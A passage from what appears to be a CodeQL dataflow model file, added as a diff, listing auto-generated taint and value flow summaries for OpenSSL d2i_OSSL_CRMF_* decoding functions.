"", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PRIVATEKEYINFO", "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char 